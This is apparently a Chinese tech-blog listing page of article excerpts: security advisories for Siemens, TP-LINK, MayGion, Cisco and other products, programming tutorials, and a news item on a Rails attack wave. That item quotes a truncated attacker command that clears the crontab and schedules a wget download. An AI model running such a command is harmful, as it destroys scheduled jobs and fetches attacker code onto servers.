Siemens Solid Edge SEListCtrlX ActiveX内存破坏漏洞

2017年02月05日 13 阅读

发布日期：2013-05-26更新日期：2013-05-30受影响系统：Siemens Solid Edge ST5 105.xSiemens SEListCtrlX ActiveX Control 105.xSiemens WebPartHelper ActiveX Control 105.x描述：-------------------------------------------------------------------------------...

Linux网络编程--服务器客户端（TCP实现）

2017年02月05日 12 阅读

Linux下的一个服务器客户端的小程序，基于TCP的实现；服务器可以同时接受多个客户的接入，通过子进程处理客户请求，下面的例子中，服务器只将客户的IP和端口以及发送的信息显示，然后原样的将客户发送的信息发送给客户。客户端仅仅是输入信息以及显示收到的信息。TCP通信的模式如下图，比较固定，对着图编代码就可以了：服务器的main函数：int main（int argc, char **argv）{int listenfd, connfd;pid_t child...

Rails 框架遭受持续不断的攻击波

2017年02月05日 12 阅读

在过去的几天里，攻击者已经越来越多地试图通过一个 Rails 框架的安全漏洞来攻陷服务器。成功的入侵者在服务器上安装一个机器人，使其等到来自 IRC 频道的进一步指示。在安全专家 Jeff Jarmoc 的博客中写到，攻击者是通过 CVE 2013-0156 漏洞试图攻击的。尽管该漏洞已经在1月份时关闭，但还有相当多的服务器仍然运行过时的 Ruby 版本。Jarmoc 称攻击者尝试注入如下命令：crontab -r; echo "1 * * * * wge...

Linux下基于OpenCV的摄像头数据采集与传输

2017年02月05日 12 阅读

最近一段时间在搞摄像头的采集和传输。采集通过OpenCV自带的函数库，不用自己编写V4L2，省去了很多事情。主要工作就是在视频的传输了。主要思路是：将采集的一帧视频图像压缩成jpg格式的图片，这样进行过压缩的数据量大大减少。然后通过socket的UDP传输协议将图片通过网络传送到客户端。我之前用的TCP传的，总是有部分数据丢失重传，导致现实界面偶尔出现闪动，出现的错误提示：Corrupt JPEG data: premature end of data s...

YeaLink IP Phone SIP-T20P/SIP-T26P安全绕过漏洞

2017年02月05日 12 阅读

发布日期：2013-05-29更新日期：2013-05-30受影响系统：yealink Yealink SIP-T20P IP Phone yealink SIP-T26P描述：--------------------------------------------------------------------------------BUGTRAQ ID: 60204YeaLink IP Phone SIP-T20P、SIP-T26P是企业级HD IP电...

TP-LINK IP Cameras硬编码凭证安全绕过漏洞（CVE-2013-2572）

2017年02月05日 12 阅读

发布日期：2013-05-28更新日期：2013-05-30受影响系统：TP-LINK IP Cameras <= 1.6.18P12描述：--------------------------------------------------------------------------------BUGTRAQ ID: 60194CVE（CAN） ID: CVE-2013-2572TP-LINK IP Cameras是网络摄像机产品。TP-LINK...

C++中函数占位符在函数重载中的作用

2017年02月05日 12 阅读

今天看STL源码剖析，对于迭代器不同类型的重载函数的调用用到了函数占位符，之前没注意过，以后函数重载设计时可以利用，特记录下来。代码只是简单的测试，没有特别意义：#include <iostream>using namespace std;int __Sum（ int a, int b, int ）{cout<<"__Sum（ int a, int b, int ）"<<endl;return a + b;}int __...

TP-LINK IP Cameras命令注入漏洞（CVE-2013-2573）

2017年02月05日 12 阅读

发布日期：2013-05-28更新日期：2013-05-30受影响系统：TP-LINK IP Cameras <= 1.6.18P12描述：--------------------------------------------------------------------------------BUGTRAQ ID: 60195CVE（CAN） ID: CVE-2013-2573TP-LINK IP Cameras是网络摄像机产品。TP-LINK...

Cmake 设置交叉编译环境

2017年02月05日 12 阅读

我用的是合众达的dm6446.一 首先安装CMAKE下载cmake 然后解压缩，进入解压缩后的目录，依次执行# ./bootstrap# make && make install安装过程需要几分钟。二 构建交叉编译的CMakeLists.txt说明：设置交叉编译之前，必须在CMakeList.txt前面加上这样一句，这样CMake才会认为你是要交叉编译：SET（CMAKE_SYSTEM_NAME Linux）在通知CMake要交叉编译以后，...

MayGion IP Camera 目录遍历漏洞（CVE-2013-1604）

2017年02月05日 12 阅读

发布日期：2013-05-28更新日期：2013-05-30受影响系统：MayGion IP Camera <= 09.27描述：--------------------------------------------------------------------------------BUGTRAQ ID: 60192CVE（CAN） ID: CVE-2013-1604MayGion IP Camera是网络摄像机产品。MayGion IP Ca...

RSA Authentication Manager 多个信息泄露漏洞（CVE-2013-0947）

2017年02月05日 14 阅读

发布日期：2013-05-29更新日期：2013-05-30受影响系统：RSA Security RSA Security Authentication Manager 8.0不受影响系统：RSA Security RSA Security Authentication Manager 7.1RSA Security RSA Security Authentication Manager 6.1描述：----------------------------...

Sleipnir Mobile for Android地址栏欺骗漏洞（CVE-2013-2317）

2017年02月05日 12 阅读

发布日期：2013-05-29更新日期：2013-05-31受影响系统：Sleipnir Mobile for Android Sleipnir Mobile for Android描述：--------------------------------------------------------------------------------BUGTRAQ ID: 60200CVE（CAN） ID: CVE-2013-2317Sleipnir Mobi...

Linux C中如何定义可变参数的宏

2017年02月05日 13 阅读

一般在调试打印Debug信息的时候, 需要可变参数的宏. 从C99开始可以使编译器标准支持可变参数宏（variadic macros）, 另外GCC也支持可变参数宏, 但是两种在细节上可能存在区别.1. __VA_ARGS____VA_ARGS__ 将 "..." 传递给宏 . 如#define debug（format, ...） fprintf（stderr, format, __VA_ARGS__）2. GCC的复杂宏GCC使用一种不同的语法,从而可...

TP-LINK TL-WR842ND目录遍历漏洞

2017年02月05日 12 阅读

发布日期：2013-05-29更新日期：2013-05-30受影响系统：TP-LINK TL-WR842ND 3.12.22 Build 120424 Rel.39632TP-LINK TL-WR842ND描述：--------------------------------------------------------------------------------BUGTRAQ ID: 60206TP-LINK TL-WR842ND是无线宽带路由器产...

Java多线程：一道阿里面试题的分析与应对

2017年02月05日 12 阅读

引言： 通过多线程的面试题目分析，来深入理解Java线程的状态转变过程。最近在学习Java多线程设计的时候，在网上看到一个面试题目的讨论，虽然楼主所说有些道理，但感觉还是有些问题，故此在和同事讨论以后还是有了若干收获，在此略作总结。首先，来看看这个面试题目吧。 public class MyStack { private List<String> list = new ArrayList<String>（）; ...

MayGion IP Camera 远程缓冲区溢出漏洞（CVE-2013-1605）

2017年02月05日 12 阅读

发布日期：2013-05-28更新日期：2013-05-30受影响系统：MayGion IP Camera <= 09.27描述：--------------------------------------------------------------------------------BUGTRAQ ID: 60196CVE（CAN） ID: CVE-2013-1605MayGion IP Camera是网络摄像机产品。MayGion IP Ca...

二叉搜索树之Java实现

2017年02月05日 12 阅读

什么是二叉搜索树二叉搜索树（Binary Search Tree），是最基础，且相对简单的一种数据结构，支持Insert，Delete，Search，Min，Max，Successor，Predecessor等操作。最大的特点是每一个节点有不超过两个子节点，并且左子节点小于或者等于父节点，而右节点大于或者等于父节点。说它基础，是因为很多其它树形数据结构以它为原型而扩展，比如红黑树，B树。相关阅读：二叉树的常见问题及其解决程序 http://www.linu...

XnView 堆缓冲区溢出漏洞（CVE-2013-3247）

2017年02月05日 12 阅读

发布日期：2013-05-29更新日期：2013-06-01受影响系统：XnView XnView 2.x描述：--------------------------------------------------------------------------------BUGTRAQ ID: 60233CVE（CAN） ID: CVE-2013-3247XnView是一款浏览的图片查看器，支持多种图形格式。XnView 2.00及其他版本在解压RLE压缩...

Cisco NX-OS Software for Nexus 1000 Series SSL证书验证安全绕过漏洞（CVE-2013-1212）

2017年02月05日 13 阅读

发布日期：2013-05-29更新日期：2013-06-01受影响系统：Cisco NX-OS 4.x描述：--------------------------------------------------------------------------------BUGTRAQ ID: 60225CVE（CAN） ID: CVE-2013-1212Cisco NX-OS是一个数据中心级的操作系统。Cisco Nexus 1000V的SSL实现存在安全漏...

Linux C程序内存泄露检测

2017年02月05日 17 阅读

对于程序员来说，最痛苦的就是内存的申请与释放。内存泄露也是程序中经常遇到的问题。为了更好的定位内存泄露问题，我们有必要熟悉一些内存泄露的检测工具。今天主要找到了以下四个内存检测工具，使用起来都比较方便。valgrind安装valgrind，执行下列程序#include <stdlib.h>void func（）{ int *p = malloc（10*sizeof（int））; p[10] = 0;}int main（）{ f...